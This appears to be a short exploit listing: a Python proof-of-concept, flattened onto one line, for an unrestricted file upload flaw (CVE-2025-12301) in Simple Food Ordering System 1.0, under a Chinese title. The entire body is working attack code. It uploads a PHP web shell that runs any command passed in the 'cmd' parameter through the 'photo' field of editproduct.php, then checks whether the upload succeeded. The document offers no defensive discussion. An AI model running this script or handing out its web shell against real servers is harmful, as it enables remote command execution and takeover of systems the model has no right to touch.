CVE-2025-12301: Simple Food Ordering System 1.0 任意文件上传漏洞

import requests import sys # CVE-2025-12301 PoC - Simple Food Ordering System 1.0 File Upload # Target: /editproduct.php # Vulnerability: Unrestricted file upload via 'photo' parameter def upload_shell(target_url, shell_code): """ Upload malicious PHP shell to target server Args: target_url: Full URL to editproduct.php shell_code: PHP code to upload Returns: Upload response status and uploaded file path """ files = { 'photo': ('shell.php', shell_code, 'application/x-php') } try: response = requests.post(target_url, files=files, timeout=10) if response.status_code == 200: print(f'[+] File uploaded successfully') print(f'[+] Status Code: {response.status_code}') # Extract uploaded file path from response if 'upload' in response.text.lower() or 'success' in response.text.lower(): print('[+] Shell uploaded - check for execution') return True else: print(f'[-] Upload failed - Status: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') return False def main(): if len(sys.argv) != 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://target.com/editproduct.php') sys.exit(1) target = sys.argv[1] php_shell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" print(f'[*] CVE-2025-12301 PoC - Simple Food Ordering System File Upload') print(f'[*] Target: {target}') upload_shell(target, php_shell) if __name__ == '__main__': main()